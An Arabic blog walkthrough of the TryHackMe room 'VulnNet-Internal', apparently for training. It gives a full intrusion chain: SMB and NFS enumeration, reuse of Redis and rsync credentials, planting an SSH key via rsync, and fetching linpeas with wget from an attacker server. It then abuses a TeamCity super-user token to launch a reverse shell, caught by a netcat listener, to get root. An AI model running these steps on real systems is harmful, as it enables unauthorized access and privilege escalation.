Search 🔎🖥️

TryHackMe|VulnNet-Internal WriteUp\Walkthrough (Arabic)

بسم الله

اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط:


رابط التحدي: https://tryhackme.com/r/room/vulnnetinternal

====================================================

كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe

أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap

sudo nmap IP -vv

طلع معانا 7 بروتات، نرجع نسوي Aggressive سكان عليها

sudo nmap IP -vv -A -p 22,111,139,445,873,2049,9090

على بورت 22 عندنا SSH server ونظام التشغيل للجهاز هو ubuntu Linux، وعلى 111 عندنا rpc، بورت 139 و 445 مرتبطة بـsamba، بورت 873 عليها rsync

وخلال ما هذا السكان شغال نسوي سكان على جميع البورتات الموجودة على الشبكة ونشوف لو طلع معانا أي بورتات إضافية

 sudo nmap IP -vv -p- -T4 -A

طلع معانا بورت جديدة وهي 6379 وموجود عليها redis، وهو نوع من أنواع قواعد البيانات، ويتم تخزين البيانات فيه على شكل أزواج (key:value). 

وطلع معانا في الـscript results للـNmap اسم الجهاز 


أول حاجة بنشوف إذا نقدر نجمع معلومات من الـsamba بما إنه موجود على النظام

enum4linux -a IP

من النتائج عرفنا إن الضحية يسمح بالـnull sessions


وعندنا مستخدم اسمه sys-internal



وعندنا ثلاثة shares

IPC و print بالعادة تكون موجودة، فاللي بنبدأ فيه ونشيك عليه هو shares. بنستخدم smbclient ولأن الـnull sessions مسموحة فما يحتاج إنه يكون عندنا كلمة سر. 

smbclient //IP/shares

ls 

بيظهر لنا مجلدين temp و data

cd temp

وبداخله ملف services.txt وهو أول فلاق ✨، نحمله على جهازنا بـ get services.txt ثم نقرأه. 

cd ..

cd data

ls


عندنا ملفين نحملها على الجهازين 

get data.txt

get business-req.txt

وخلاص نخرج من السيرفير quit. إذا قرأتوا الملفين ما فيها شيء مهم. 

بما إنو على الجهاز عندنا rpc فممكن نقدر نسوي mount، وعشان أعرف ايش الملفات اللي أقدر أسوي لها mount أستخدم هذه الكوماند

showmount -e IP

طلع معانا إنو يمدي نسوي mount وأعطانا المسار. أول حاجة نسوي مجلد نحفظ فيه الملفات اللي بتجي

mkdir mount 

ثم نروح له cd mount ثم نحمل الملفات باستخدام الكوماند

sudo mount -t nfs IP:/opt/conf .

ثم نعرض الملفات اللي تحملت 

بنلاحظ إنو في المجلدات اللي نزلت في مجلد اسمه redis

cd redis

ls

عندنا ملف redis.conf فواضح إن هذا الملف هو ملف configuration، واحتمال كبير نلقى بداخله كلمة سر لـ redis، فنفتح الملف ونستعرضه. الملف جدا كبييييير، فبنبحث فقط pass وننتقل في الملف حتى نلقى كلمة سر، وبنلقاها في السطر 306. 

بما إن الآن عندنا كلمة سر، فنسجل دخول على redis باستخدام هذه الكوماند

redis-cli -h IP -a 'password'

لازم تكون كلمة السر بين علامات تنصيص، ثم إذا دخلنا، عشان نختبر إذا الاتصال تمام أو لا نستخدم الكوماند ping وإذا رد PONG، فمعناته الاتصال تمام. نستعرض الـkeys باستخدام 

keys *

عندنا 5 ملفات، أول واحد هو الفلاق، وعشان نعرضه أول شيء نبي نعرف وش نوع الملف عشان نعرف وش نستخدم معاه كوماند لعرض محتوياته. 

type 'internal flag'

نوعه string وعشان نعرضه نستخدم

 get 'internal flag'

وبكذا نكون حصلنا على ثاني فلاق ✨

بنستعرض أيضا الملف رقم 2

type authlist

نوعها list وعشان نعرضها 

lrange authlist 0 10 

طبع لنا 4 قيم، نفس القيمة بالضبط مكررة 4 مرات، ومن شكلها واضح إنها مشفرة باستخدام base64، نفك التشفير ونشوف وش يظهر معانا.

أعطاني طريقة الدخول إلى rsync مع كلمة السر، وrsync هي خدمة تستخدم للنسخ الاحتياطي، ويطابق التغييرات في الملفات، برضو يساعد في نقل الملفات ما بين الأجهزة. 

بقية الملفات في الـredis ما فيها شيء مهم. 

الحين عشان نشوف وش الملفات الموجودة على rsync نستخدم الكوماند

rsync IP::

عندنا files

قبل ما نحفظ الملفات على جهازنا 

mkdir rsync

cd rsync

ثم 

rsync -av rsync://rsync-connect@IP/files . 

وهنا غيرها العنوان من الـloopback اللي هو 127.0.0.1 إلى عنوان الضحية نفسه، لأن في الملاحظة هو يتكلم للي بيتصل من الجهاز نفسه مو عن اللي بيتصل من بعيد.

بيطلب الباسوورد، ندخلها ثم علطول بيحمل الملفات على جهازنا، اللي تحمل هو مجلد اسمه sys-internal وهو نفسه اسم المستخدم اللي على النظام cd sys-internal ثم ls وبيطلع لنا ملفات الـhome directory للمستخدم sys-internal ومن ضمنها user.txt واللي هو اليوز فلاق ✨

لو عرضنا الملفات المخفية ls -a بيظهر لنا مجلد ssh، ولو رحنا له وشفنا ايش بداخله، بنلقى إنه مجلد فارغ، لكن برضو نقدر نستفيد منه، لكن كيف؟ اللي بنسويه إننا بنصنع مفاتيح ssh، ثم ناخذ الـpuplic key ونسوي ملف اسمه authorized keys داخل مجلد ssh ونخزنه بداخله، بكذا لما نتصل بجهاز المستخدم sys-internal باستخدام private key، بيقبلنا لأن الـpublic key المرتبط فيه مخزن في الملف authorized keys. 

الأداة اللي بنستخدمها لصناعة المفاتيح هي ssh-keygen، ثم بيطلب إني أدخل الاسم اللي أبغاه للمفتاح، حطيت vulnetkey، ثم بيطلب كلمة سر، انا ما ابغى احط على المفتاح كلمة سر فضغطت enter، بعد كذا بتصير المفاتيح جاهزة عندي

وعشان ننقل المفتاح لجهاز الضحية بنستخدم الكوماند

rsync -ahv vulnetkey.pub rsync://rsync-connect@IP/files/sys-internal/.ssh/authorized_keys --inplace --no-o --no-g

إذا كانت هذه النقطة مو واضحة ممكن ترجعون لمقطع الشرح على اليوتيوب من الدقيقة 19:00 إلى 25:51

الحين بإمكانا نتصل بجهاز الضحية باستخدام SSH

ssh sys-internal@IP -i vulnetkey

وبكذا بندخل على النظام. اللي باقي نبغاه الآن هو الرووت فلاق، وغالبا يكون في الـroot home directory، فلازم نرفع صلاحياتنا عشان نقدر نوصل له، وممكن نبحث بنفسنا عن طُرق نستغلها، أو ممكن نستخدم سكريبت يسهل علينا الموضوع، مثل linpeas.sh، وعشان ننقله للضحية نروح على المجلد اللي في جهازنا يحتوي على linpeas.sh ونشغل بايثون سيرفير

python3 -m http.server

وعلى جهاز الضحية نروح للـtmp ونحمل الملف هناك

طيب ليه اخترت الـtmp ؟؟

أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي شيء حملته هناك على tmp ويصير ما يبقى لك أثر. 

ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ. 

wget http://OpenVPN-IP:8000/linpeas.sh

ثم نغير صلاحياته لملف تشغيلي 

chmod +x linpeas.sh

ثم نشغله 

./linpeas.sh

بيطلع معانا إنه لقى ملف غير متوقع في الرووت للنظام 

المجلد اسمه Teamcity، وهي خدمة تستخدم في الـsoftware development، ولو بحثنا عنها بشكل سريع بنعرف إن البورت لها هي 8111، وزي مو واضح في السكان بنلقاها فعلا فعالة 

لكن احنا سوينا nmap على جميع البورتات الموجودة على النظام وما طلعت معانا هذه، معناته إنه ما يمدينا نوصل لها غير لما نسوي port forwarding وبنستخدم SSH، على جهازنا نشغل هذه الكوماند

ssh -L 8000:127.0.0.1:8111 sys-internal@IP -i vulnetkey -fN 

شرح الكوماند والـport forwarding موجود على المقطع من 29:34 حتى 33:21

بعد كذا نروح للمتصفح على هذا العنوان 127.0.0.1:8000، بيفتح نافذة منبثقة تطلب كلمة سر واسم مستخدم، ولو ضغطنا على cancel، بيطبع لنا هذه الرسالة 

فنروح للمسار 

127.0.0.1:8000/login.html

والحين نبي نبحث عن كلمة سر، نرجع للضحية ثم نروح لـ

cd /Teamcity

ونروح للسجلات logs ونشوف لو بنلقى access tokens. 

cd logs

نفتح ملف catalina.out، لكن بنسوي grep لـ token بحيث يقل طول النتائج اللي بيطبعها وما تمتلئ الشاشة.

cat catalina.out | grep token

طلع معانا أكثر من نتيجة، فنجرب وحدة وحدة حتى تشتغل معانا وحده منها. 

نرجع للمتصفح على صفحة تسجيل الدخول ثم نضغط على as a super user، ثم بيفتح لنا صفحة تسجيل دخول أخرى تستقبل قيمة وحدة فقط وهي الـ token. 



الحين ندخل وحده وحده حتى تضبط معانا ويدخلنا، لما ندخل على Teamcity اللي نبغاه الحين هو إننا نحصل على reverse shell، بنسوي project ثم نحط فيه كود لـ reverse shell ثم نشغله وبكذا بنحصل على shell.

أول شيء من الصفحة الرئيسية نضغط على create project، ثم تفتح صفحة ثانية نضغط manually ثم نعبي البيانات الباقية مثل مو بالصورة واضح

بعد كذا بتظهر رسالة صفراء بأعلى الصفحة عشان نسوي build configuration، فمن نفس الصفحة ننزل تحت ونضغط على create build configuration

ثم لما تفتح الصفحة نعبي البيانات كالتالي 

ثم نضغط create، بعد كذا بيعطي صفحة New VCS Root نسوي skip، ثم لما تفتح معانا الصفحة اللي بعدها نختار من القائمة اللي على اليسار Build Steps، ثم نختار الـrunner type من القائمة المنسدلة python. 

بعد كذا نحط أي Step name مثلا أنا حطيت stepOne، ثم في خانة الـcommand نختار custom من القائمة المنسدلة. وبعدين بداخل الـpython arguments نحط الـshell، أنا أخذتها من الموقع revshells  واخترت python #2 ، وتأكدوا إن العنوان ورقم البورت هو نفس ما تبغون، ونفس ما بتحطون في الـlistener. 

نرجع للموقع ونلصق الـshell في الخانة، لكن عشان تشتغل معاكم تمام شيلوا الـpython اللي موجودة في البداية، نضغط save. 

ثم نشغل الـlistener على جهازنا nc -nlvp 4444

نرجع للموقع وعشان نشغل الـshell من نفس الصفحة نضغط على Run 

نصبر شوي، وبيوصل لنا اتصال على جهازنا، وبتكون الshell بصلاحيات الـرووت

cd /root

cat root.txt

وبكذا يكون انتهينا من حل التحدي وحصلنا على آخر فلاق ✨. 

Comments

Popular posts from this blog

TryHackMe|Blog WriteUp\Walkthrough (Arabic)

eJPTv2 Exam Review (Arabic)

TryHackMe|Blueprint WriteUp\Walkthrough (Arabic)